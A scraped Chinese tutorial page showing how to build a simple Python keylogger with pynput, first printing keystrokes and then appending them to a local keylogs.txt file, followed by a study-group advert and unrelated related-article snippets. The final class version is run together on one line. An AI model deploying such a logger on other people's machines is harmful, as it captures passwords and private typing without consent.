5分钟内完成Python键盘记录程序
介绍
这是一个非常基础的项目,您甚至不需要具备python能力就可以成功构建它,让我们开始吧!
要构建键盘记录器,我们需要一种跟踪键盘上每个按键的方法,python中有几个库可以用来执行以下操作:
- 键盘
- PyUserlnput
- put
安装
pip install pynput
构建我们的键盘记录器
要跟踪按键,我们必须实现一个侦听器功能,然后将其附加到我们的Pynput侦听器中,这里是如何实现的;
>>> from pynput import keyboard
>>> def on_press(key):
... print(key)>>> listener = keyboard.Listener(on_press=on_press)
>>> listener.start()
>>> h'h'
v'v'
Key.ctrl
'v'
Key.cmd
Key.ctrl
Key.shift
正如我们在短短的几行代码中所看到的,我们能够实现一个键盘记录器,该记录器可以跟踪按下的键并将其输出到我们的repl终端中
因此,我们现在要做的是打开一个用于存储击键的新文件,而不是将其打印在repl上。
>>> from pynput import keyboard
>>> def on_press(key):
... with open('keylogs.txt', 'a') as logs:
... logs.write(str(key))
...
>>> listener = keyboard.Listener(on_press=on_press)
>>> listener.start()
>>> hellodam testing
现在,如果您查看当前目录,您将看到一个名为keylogs.txt的新文件,其中包含新的跟踪密钥,如下所示;
❯ cat keylogs.txt
Key.cmd'h''e''l''l''o''d''a''m'Key.space't''e''s''t''i''n''g'Key.cmdKey.cmdKey.ctrlKey.alt't''c''a''t'Key.space'k''e''y'Key.tabKey.enter%
这是我们格式化后的代码的样子;
from pynput import keyboardclass KeyLogger():def __init__(self, filename: str = "keylogs.txt") -> None:self.filename = filename@staticmethoddef get_char(key):try:return key.charexcept AttributeError:return str(key)def on_press(self, key):print(key)with open(self.filename, 'a') as logs:logs.write(self.get_char(key))def main(self):listener = keyboard.Listener(on_press=self.on_press,)listener.start()if __name__ == '__main__':logger = KeyLogger()logger.main()input()
在这里还是要推荐下我自己建的Python学习群:721195303,群里都是学Python的,如果你想学或者正在学习Python ,欢迎你加入,大家都是软件开发党,不定期分享干货(只有Python软件开发相关的),包括我自己整理的一份2021最新的Python进阶资料和零基础教学,欢迎进阶中和对Python感兴趣的小伙伴加入!
5分钟内完成Python键盘记录程序相关推荐
- python程序-30分钟学会用Python编写简单程序
原标题:30分钟学会用Python编写简单程序 参与文末每日话题讨论,赠送异步新书 异步图书君 学习目标 知道有序的软件开发过程的步骤. 了解遵循输入.处理.输出(IPO)模式的程序,并能够以简单的方 ...
- python写软件实例-30分钟学会用Python编写简单程序
原标题:30分钟学会用Python编写简单程序 参与文末每日话题讨论,赠送异步新书 异步图书君 学习目标 知道有序的软件开发过程的步骤. 了解遵循输入.处理.输出(IPO)模式的程序,并能够以简单的方 ...
- mvc移动创建oracle表,使用 ASP.NET MVC (C#)在15分钟内创建电影数据库应用程序 | Microsoft Docs...
使用 ASP.NET MVC 在 15 分钟内创建电影数据库应用程序 (C#)Create a Movie Database Application in 15 Minutes with ASP.NE ...
- 使用ABP vNext在5分钟内开发地址簿应用程序
ABP vNext框架(以下称为" ABP")是由Volosoft设计的艺术品级应用程序开发框架.它基于域驱动设计(DDD),并创新地采用模块化开发设计.毫无疑问,ABP是ASP. ...
- python编写程序-30分钟学会用Python编写简单程序
参与文末每日话题讨论,赠送异步新书 异步图书君 学习目标 知道有序的软件开发过程的步骤. 了解遵循输入.处理.输出(IPO)模式的程序,并能够以简单的方式修改它们. 了解构成有效Python标识符和表 ...
- python 键盘记录_记录键盘敲击次数 python实现
作为一个程序员,突然好奇自己每天敲击多少次键盘,于是研究了一下,写了一个python程序来记录.这里分享给大家. 其实实现很简单,给python安装一个package pynput.用其中自带的key ...
- Python中记录程序运行时间
有时候我们需要记录一个程序运行的时间,可以用到Python的time库: import time# old_time放在程序运行开始的地方 old_time = time.time() # curre ...
- python键盘记录255是哪个按键_Keylogger: Python写的键盘敲击记录器
Python部落(python.freelycode.com)组织翻译,禁止转载,欢迎转发. 安装 你需要安装python-xlib如果你没有的话. sudo apt-get install pyth ...
- python如何编写数据库_如何在几分钟内用Python编写一个简单的玩具数据库
python如何编写数据库 MySQL, PostgreSQL, Oracle, Redis, and many more, you just name it - databases are a re ...
最新文章
- 每天一道LeetCode-----找到一个字符串在另一个字符串出现的位置,字符串内部顺序无要求
- java 日期处理 口诀_java时间处理常用方法工具类
- 基于 axios 的 Vue 项目 http 请求优化
- oracle查询file_name,Oracle DG环境下db_file_name_convert的实际意义
- 用Docker自动构建纸壳CMS
- MinGW编译boost库
- Elasticsearch 7.x 安装及配置
- Tensorflow中查看gpu是否可用
- linux下添加新硬盘的方法
- 我个人中意的VS2017/VS2019插件,推荐给大家(#^.^#)
- 使用unity完成简单的打地鼠游戏2D制作
- python空气质量提醒代码_空气质量指数查询示例代码
- 鸿蒙系统有没有方舟编译器,华为鸿蒙系统终于来了! 首款方舟编译器应用正式上架: 鸿蒙OS可用...
- iPad是真正的移动设备吗?
- 程序员的工资是不是被高估了?
- js图片转base64
- 三国群雄传ol服务器 修改,三国群雄传四大兵营进阶改造攻略详解
- php中相关乱码处理
- 卷积神经网络与全连接神经网络
- 翻译HoudiniEngine官方文档:PDG
热门文章
- ubuntu 桌面环境出现异常常用的解决方法
- js中数组的高逼格操作(filter、sort、map、reduce)
- 计算机应用基础0039答案,2016秋5205004计算机应用基础-0039【参考答案】
- ecshop 邮件模板 html,ecshop邮件模板默认数据与恢复.doc
- DNSPod十问Fanmart向勇:征战东南亚,跨境电商的新大陆?
- SQL SERVER查询生僻字问题
- java序列化与反序列化
- 荷兰国土不大,人口不多,为什么有那么多世界级大公司?
- repo upload 或者git push 报错“remote: (W):commit subject 65 characters,use shorter first paragraph”
- H3C交换机路由器配置命令大全